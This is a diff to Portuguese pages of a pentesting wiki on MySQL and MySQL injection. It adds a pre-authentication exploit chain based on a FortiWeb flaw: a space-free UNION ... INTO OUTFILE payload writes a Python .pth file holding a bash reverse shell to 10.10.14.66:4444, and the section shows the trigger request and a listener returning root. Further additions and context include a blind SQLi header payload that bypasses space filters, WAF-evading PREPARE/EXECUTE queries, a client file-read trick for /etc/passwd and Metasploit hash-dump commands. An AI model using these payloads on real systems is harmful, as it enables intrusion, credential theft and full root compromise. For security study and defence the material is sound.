diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 519bd0bff..90d60cbb3 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -1,5 +1,10 @@ # 3306 - Pentesting Mysql +{{#include /banners/hacktricks-training.md}} + +## Referências +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + {{#include ../banners/hacktricks-training.md}} ## **Informações Básicas** @@ -109,9 +114,46 @@ Você pode ver na documentação o significado de cada privilégio: [https://dev ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} +#### INTO OUTFILE → Python `.pth` RCE (ganchos de configuração específicos do site) + +Abusando do clássico `INTO OUTFILE`, é possível obter *execução de código arbitrário* em alvos que posteriormente executam scripts **Python**. + +1. Use `INTO OUTFILE` para criar um arquivo **`.pth`** personalizado dentro de qualquer diretório carregado automaticamente por `site.py` (por exemplo, `.../lib/python3.10/site-packages/`). +2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código Python arbitrário que será executado toda vez que o interpretador iniciar. +3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo, `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`), a carga útil é executada com os mesmos privilégios que o processo do servidor web (FortiWeb o executou como **root** → RCE total pré-autenticação). + +Exemplo de carga útil `.pth` (linha única, nenhum espaço pode ser incluído na carga útil SQL final, então hex/`UNHEX()` ou concatenação de strings pode ser necessária): +```python +import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) +``` +Exemplo de criação do arquivo através de uma **UNION** query (caracteres de espaço substituídos por `/**/` para contornar um filtro de espaço `sscanf("%128s")` e manter o comprimento total ≤128 bytes): +```sql +'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' +``` +Importantes limitações e contornos: + +* `INTO OUTFILE` **não pode sobrescrever** arquivos existentes; escolha um novo nome de arquivo. +* O caminho do arquivo é resolvido **relativo ao CWD do MySQL**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto. +* Se a entrada do atacante for extraída com `%128s` (ou similar), qualquer espaço truncará a carga útil; use sequências de comentários do MySQL `/**/` ou `/*!*/` para substituir espaços. +* O usuário do MySQL que executa a consulta precisa do privilégio `FILE`, mas em muitos dispositivos (por exemplo, FortiWeb) o serviço é executado como **root**, dando acesso de gravação quase em todos os lugares. + +Após soltar o `.pth`, simplesmente solicite qualquer CGI tratado pelo interpretador python para obter execução de código: +``` +GET /cgi-bin/ml-draw.py HTTP/1.1 +Host: +``` +O processo Python importará o `.pth` malicioso automaticamente e executará a carga útil do shell. +``` +# Attacker +$ nc -lvnp 4444 +id +uid=0(root) gid=0(root) groups=0(root) +``` +--- + ## Leitura arbitrária de arquivo MySQL pelo cliente -Na verdade, quando você tenta **load data local into a table** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente mysql para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\ +Na verdade, quando você tenta **carregar dados locais em uma tabela** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente MySQL para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\ Por favor, note que este é o comportamento usando: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -171,7 +213,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Escalada de Privilégios via biblioteca -Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado diferente), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está executando o mysql. +Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está executando o mysql. A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os **Windows**, escolha o que você precisa. @@ -222,7 +264,7 @@ cat /etc/mysql/debian.cnf ``` Você pode **usar essas credenciais para fazer login no banco de dados mysql**. -Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários MySQL** (aqueles que você pode extrair de mysql.user dentro do banco de dados)_._ +Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários do MySQL** (aqueles que você pode extrair de mysql.user dentro do banco de dados)_._ Você pode extraí-los fazendo: ```bash @@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -​ +## Referências +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index b16a50412..444f09f65 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -1,4 +1,4 @@ -# Injeção MySQL +# MySQL injection {{#include ../../../banners/hacktricks-training.md}} @@ -105,9 +105,9 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ## Truques de bypass de WAF -### Executando consultas através de Prepared Statements +### Executando consultas através de Declarações Preparadas -Quando consultas empilhadas são permitidas, pode ser possível contornar WAFs atribuindo a uma variável a representação em hex do comando que você deseja executar (usando SET), e então usar os comandos PREPARE e EXECUTE do MySQL para, em última instância, executar a consulta. Algo como isto: +Quando consultas empilhadas são permitidas, pode ser possível contornar WAFs atribuindo a uma variável a representação em hex do comando que você deseja executar (usando SET), e então usar as declarações MySQL PREPARE e EXECUTE para, em última análise, executar a consulta. Algo assim: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` @@ -131,13 +131,35 @@ Se em algum momento você souber o nome da tabela, mas não souber o nome das co select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -Supondo que haja 2 colunas (sendo a primeira o ID) e a outra o flag, você pode tentar forçar o conteúdo do flag tentando caractere por caractere: +Supondo que haja 2 colunas (sendo a primeira o ID) e a outra o flag, você pode tentar fazer brute force no conteúdo do flag tentando caractere por caractere: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` Mais informações em [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) +### Injeção sem ESPAÇOS (`/**/` truque de comentário) + +Algumas aplicações sanitizam ou analisam a entrada do usuário com funções como `sscanf("%128s", buf)` que **param no primeiro caractere de espaço**. +Como o MySQL trata a sequência `/**/` como um comentário *e* como espaço em branco, ela pode ser usada para remover completamente os espaços normais da carga útil enquanto mantém a consulta sintaticamente válida. + +Exemplo de injeção cega baseada em tempo contornando o filtro de espaço: +```http +GET /api/fabric/device/status HTTP/1.1 +Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' +``` +Qual o banco de dados recebe como: +```sql +' OR SLEEP(5)-- -' +``` +Isso é especialmente útil quando: + +* O buffer controlável é restrito em tamanho (por exemplo, `%128s`) e espaços terminariam prematuramente a entrada. +* Injetando através de cabeçalhos HTTP ou outros campos onde espaços normais são removidos ou usados como separadores. +* Combinado com primitivas `INTO OUTFILE` para alcançar RCE total pré-autenticação (veja a seção MySQL File RCE). + +--- + ### História do MySQL Você pode ver outras execuções dentro do MySQL lendo a tabela: **sys.x$statement_analysis** @@ -150,11 +172,12 @@ mysql> select version(); ``` ## Outros guias de injeção MYSQL -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) ## Referências -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../../../banners/hacktricks-training.md}}